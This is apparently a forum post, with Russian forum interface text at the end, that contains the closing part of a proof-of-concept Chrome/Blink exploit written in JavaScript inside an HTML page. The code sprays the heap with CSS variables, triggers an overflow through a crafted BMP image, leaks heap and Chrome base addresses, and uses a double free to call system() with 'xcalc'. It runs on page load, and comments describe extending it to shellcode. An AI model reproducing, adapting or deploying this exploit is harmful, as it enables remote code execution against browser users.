    // blink::FileSystemDispatcher::WriteListener::DidWrite
    const kWriteListenerOffset = -0xd401d0n;

    // this can be used to more complex exploitation giving RWX perm and
    // writing a shellcode, this is a minimal POC which only pop xcalc
    // blink::FileSystemDispatcher::WriteListener::DidWrite
    // const kPolymorphicInvokeOffset = 0xe1cde26n;
    // const kRetOffset = kWriteListenerOffset + 104n; // ret instruction
    // v8::base::AddressSpaceReservation::SetPermissions
    // const kOSSetPermissionsOffset = -0x5a09080n;
    // const kShellcode = [
    //   0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
    // ];
    const kSystemLibcOffset = -0x31af290n;

    // this string size +0x34, fits into 0x400 bucket
    const kCSSStringCross0x2000 = 'C'.repeat(0x1fcc);
    // HRTFPanner sized 0x448, fits into 0x500(?) bucket
    const kCSSStringHRTF = 'B'.repeat(0x414); // 0x414 + 0x34 == 0x448
    const kCSSString = 'A'.repeat(0x7fcc);
    const kSprayPannerCount = 10;
    const kTargetCSSVar = '--c13.2';

    const audioCtx = new OfflineAudioContext(1, 4096, 4096);
    var panners = [];
    var audioCtxArr = [];
    var delayNodeArr = [];
    var srcNodeArr = [];
    var heapAddr = -1n;
    var fakePannerAddr = -1n;
    var chromeBase = -1n;

    function die(msg) {
      console.log(msg);
      throw msg;
    }

    function str2ab(str) {
      let buf = new ArrayBuffer(str.length);
      let view = new Uint8Array(buf);
      for (let i = 0; i < str.length; i++) {
        view[i] = str.charCodeAt(i);
      }
      return buf;
    }

    function u64(str, is_little_endian = true) {
      if (str.length != 8)
        die('string length is not 8');
      let ab = str2ab(str);
      let view = new DataView(ab);
      return view.getBigUint64(0, is_little_endian);
    }

    function swapEndian(n) {
      let view = new DataView(new ArrayBuffer(8));
      view.setBigUint64(0, n, true);
      return view.getBigUint64(0, false);
    }

    // function sleep(ms) {
    //   var start = new Date().getTime();
    //   while (new Date().getTime() < start + ms) { /* wait */ }
    // }
    function sleep(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }

    function gc() {
      let x = [];
      for (let i = 0; i < 200; i++) {
        x.push(new Array(1024 * 1024));
      }
    }

    function increase_refs(ref_count_) {
      let rs = getComputedStyle(div0);
      // the default ref_count_ is 2
      for (let i = 0; i < ref_count_ - 2; i++) {
        rs.getPropertyValue(kTargetCSSVar);
      }
    }

    async function allocAudioArray(size, data, count) {
      const delay = ((size - 0x20) / 4 - 0x80) / 4096;
      const prevCount = audioCtxArr.length;
      for (let i = 0; i < count; i++) {
        let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096);
        // will alloc ((delay * 4096 * 1024) / 1024 + 0x80) * 4 + 0x20
        let delayNode = audioCtxDelay.createDelay(delay);
        audioCtxArr.push(audioCtxDelay);
        delayNodeArr.push(delayNode);
      }

      // FIXME: only the first 0x600 is controled now
      // buffer content is getting weird when size is big
      if (data.byteLength > 0x600)
        die('data too long for Audio Array');
      let buffer = audioCtx.createBuffer(1, 0x600, 4096);
      let dstData = buffer.getChannelData(0);
      new Uint8Array(dstData.buffer).set(new Uint8Array(data));

      for (let i = 0; i < count; i++) {
        let audioCtxDelay = audioCtxArr[prevCount + i];
        let delayNode = delayNodeArr[prevCount + i];
        let srcNode = audioCtxDelay.createBufferSource();
        srcNodeArr.push(srcNode);
        srcNode.buffer = buffer;
        srcNode.connect(delayNode).connect(audioCtxDelay.destination);
        // audioCtxDelay.suspend(1);
        audioCtxDelay.suspend(0x600 / 4096.0);
        srcNode.start();
        audioCtxDelay.startRendering();
      }
      await sleep(500);
    }

    async function pwn() {
      console.log("start");
      let div0 = document.getElementById('div0');
      for (let i = 0; i < 30; i++) {
        div0.style.setProperty(`--sprayA${i}`, kCSSString);
        div0.style.setProperty(`--sprayC${i}`, kCSSStringCross0x2000);
        div0.style.setProperty(`--sprayB${i}`, kCSSStringHRTF);
      }

      for (let i = 0; i < 50; i++) {
        for (let j = 0; j < 4; j++) {
          // spraying allocation of 2 different size spans
          // very close to 100% of attempts, the same object is allocated
          // after a different sized slot
          const CSSValName = `${i}.${j}`.padEnd(0x7fcc, 'A');
          div0.style.setProperty(`--a${i}.${j}`, CSSValName);
          const CSSValName2 = `${i}.${j}`.padEnd(0x1fcc, 'C');
          div0.style.setProperty(`--c${i}.${j}`, CSSValName2);
        }
        for (let j = 0; j < 64; j++) {
          const CSSValName = `${i}.${j}`.padEnd(0x414, 'B');
          div0.style.setProperty(`--b${i}.${j}`, CSSValName);
        }
      }

      for (let i = 10; i < 30; i++) {
        div0.style.removeProperty(`--a${i}.2`);
      }
      for (let i = 46; i > 20; i--) {
        div0.style.removeProperty(`--c${i}.0`);
      }
      gc(); await sleep(500);

      console.log("overflowing...");
      fetch("/bad.bmp").then(async response => {
        let rs = getComputedStyle(div0);
        let imageDecoder = new ImageDecoder({
          data: response.body,
          type: "image/bmp"
        });
        increase_refs(0xff02); // overflow will overwrite 0xff02 to 0xff00

        imageDecoder.decode().then(async () => {
          gc(); gc();
          await sleep(2500);
          let ab = new ArrayBuffer(0x600);
          let view = new Uint32Array(ab);

          // fake CSSVariableData
          view[0] = 1; // ref_count
          const newCSSVarLen = 0x19000;
          // kMaxVariableBytes
          // console.assert(newCSSVarLen <= 2097152, 'CSSLen too long');
          // length and flags, set is_8bit_
          view[1] = newCSSVarLen | 0x01000000;
          for (let i = 2; i < view.length; i++)
            view[i] = i;
          await allocAudioArray(0x2000, ab, 1);
          leak();
        })
      });
    }

    async function leak() {
      console.log("continuing...");
      let div0 = document.getElementById('div0');
      let rs = getComputedStyle(div0);
      let CSSLeak = rs.getPropertyValue(kTargetCSSVar)
        .substring(0x15000 - 8);
      console.log(CSSLeak.length.toString(16));
      let memoryPattern = /\x02\x00\x00\x00\x14\x04\x00\x01(\d+\.\d+)/g;
      CSSVars = [...CSSLeak.matchAll(memoryPattern)];
      console.log(CSSVars);
      if (CSSVars.length < kSprayPannerCount) {
        console.log("WARN: insufficient CSSVars found, found vs min:",
          CSSVars.length, "vs", kSprayPannerCount);
        return;
      }
      console.log("corrupted with success");

      for (let i = 0; i < kSprayPannerCount; i++) {
        panners.push(audioCtx.createPanner());
      }
      for (let i = 0; i < kSprayPannerCount; i++) {
        // console.log(`removing --b${CSSVars[i][1]}`);
        // i really idk why, but i need add the ref_count_ and remove the
        // prop to trigger free
        rs.getPropertyValue(`--b${CSSVars[i][1]}`);
        div0.style.removeProperty(`--b${CSSVars[i][1]}`);
      }
      gc(); gc(); await sleep(1000);

      for (let i = 0; i < panners.length; i++) {
        panners[i].panningModel = 'HRTF';
      }

      // free two panners after target CSSVariableData
      panners[kSprayPannerCount - 2].panningModel = 'equalpower';
      panners[kSprayPannerCount - 1].panningModel = 'equalpower';
      await sleep(1000);
      let hrtfLeak = rs.getPropertyValue(kTargetCSSVar)
        .substring(0x15000 - 8);
      for (let i = 0; i < CSSVars.length; i++) {
        let leak = hrtfLeak.substring(CSSVars[i].index, CSSVars[i].index + 8);
        console.log("0x" + u64(leak).toString(16),
          "0x" + CSSVars[i].index.toString(16));
      }
      heapAddr = (u64(hrtfLeak.substring(CSSVars[8].index + 8,
        CSSVars[8].index + 8 + 8)) & 0xfffffffffff00000n) + 0xc000n;
      fakePannerAddr = heapAddr - 0x959000n + BigInt(CSSVars[8].index);
      chromeBase = u64(hrtfLeak.substring(CSSVars[8].index,
        CSSVars[8].index + 8));
      chromeBase -= kHRTFPannerVtableOffset;
      console.log("heap leak: 0x" + heapAddr.toString(16),
        CSSVars[1].index.toString(16));
      console.log("chrome leak: 0x" + chromeBase.toString(16),
        CSSVars[8].index.toString(16));
      console.log("fakePannerAddr: 0x" + fakePannerAddr.toString(16));
      // search '13.1CCCCC' anon:partition_alloc ; x/gx addr+0x2000-8
      console.log("CSSVarData UAF: 0x" + (heapAddr - 0x982000n)
        .toString(16));
      console.log("hrtfLeak.length: 0x" + hrtfLeak.length.toString(16));
      gc();
      setTimeout(doubleFree, 1000);
    }

    async function doubleFree() {
      console.log("start free(CSSVariableData)")
      let div0 = document.getElementById('div0');
      let div1 = document.getElementById('div1');
      let audioCtxDelay = audioCtxArr.pop();
      let delayNode = delayNodeArr.pop();
      let srcNode = srcNodeArr.pop();

      let ab = new ArrayBuffer(0x600);
      let abFakeObj = new ArrayBuffer(0x600);
      let view = new BigUint64Array(ab);
      let viewFakeObj = new DataView(abFakeObj);
      view[0] = swapEndian(fakePannerAddr - 0x10n);

      for (let i = 0; i < viewFakeObj.byteLength; i++)
        viewFakeObj.setUint8(i, 0x4a); // "J"

      const system_addr = chromeBase + kSystemLibcOffset;
      // call   qword ptr [rax + 8]
      viewFakeObj.setBigUint64(0x0, fakePannerAddr + 8n - 8n, true);
      // viewFakeObj.setBigUint64(8, 0xdeadbeefn, true);
      viewFakeObj.setBigUint64(0x8, chromeBase + kWriteListenerOffset,
        true);
      // fake BindState addr
      viewFakeObj.setBigUint64(0x10, fakePannerAddr + 0x18n, true);

      // start of fake BindState
      // 0x636c616378 == xcalc
      viewFakeObj.setBigUint64(0x18 + 0,
        0x636c616378n /* -1 because ref_count_ + 1 */ - 1n, true);
      viewFakeObj.setBigUint64(0x18 + 0x8, system_addr, true);

      let rs = getComputedStyle(div0);
      for (let i = 0; i < 10; i++) {
        div1.style.setProperty(`--sprayD${i}`, kCSSStringCross0x2000);
      }
      rs.getPropertyValue(kTargetCSSVar);
      div0.style.removeProperty(kTargetCSSVar);
      gc(); gc();
      await sleep(1000);
      console.log("start free(AudioBuffer)");

      // ((0.466796875 * 4096 * 1024) / 1024 + 0x80) * 4 + 0x20 == 0x2000
      let delayToAlloc0x2000 = 0.466796875;
      audioCtxDelay.oncomplete = async () => {
        // now freelist is circular A => A
        console.log("delay nodes deleted, freelist should be circular");
        gc(); gc(); gc(); gc();
        await sleep(3000);


        // overwrite freelist pointer to fakePannerAddr
        // allocAudioArray copy/paste function because on call the same
        // func 3 times will start compilation and change heap layout
        let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096);
        let delayNode = audioCtxDelay.createDelay(delayToAlloc0x2000);
        let buffer = audioCtx.createBuffer(1, 0x600, 4096);
        let dstData = buffer.getChannelData(0);
        new Uint8Array(dstData.buffer).set(new Uint8Array(ab));
        let srcNode = audioCtxDelay.createBufferSource();
        srcNode.buffer = buffer;
        srcNode.connect(delayNode).connect(audioCtxDelay.destination);
        audioCtxDelay.suspend(0x600 / 4096.0);
        srcNode.start();
        audioCtxDelay.startRendering();
        // copy/paste
        await sleep(500);

        // consume freelist entry
        div1.style.setProperty('--tick', kCSSStringCross0x2000);

        // allocAudioArray copy/paste function because on call the same
        // func 3 times will start compilation and change heap layout
        let audioCtxDelay3 = new OfflineAudioContext(1, 4096, 4096);
        let delayNode3 = audioCtxDelay3.createDelay(delayToAlloc0x2000);
        let buffer3 = audioCtx.createBuffer(1, 0x600, 4096);
        let dstData3 = buffer3.getChannelData(0);
        new Uint8Array(dstData3.buffer).set(new Uint8Array(abFakeObj));
        let srcNode3 = audioCtxDelay3.createBufferSource();
        srcNode3.buffer = buffer3;
        srcNode3.connect(delayNode3).connect(audioCtxDelay3.destination);
        audioCtxDelay3.suspend(0x600 / 4096.0);
        srcNode3.start();
        audioCtxDelay3.startRendering();
        // copy/paste

        await sleep(1000);
        for (let i = panners.length - 3; i >= 0; i--) {
          panners[i].panningModel = 'equalpower';
        }
        console.log("destructors called")
      };
      audioCtxDelay.resume();
    }
  </script>
</head>

<body onload="pwn();">
  <div id="div0"></div>
  <div id="div1"></div>
</body>

</html>


|=[ EOF ]=--------------------------------------------------------------=|
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх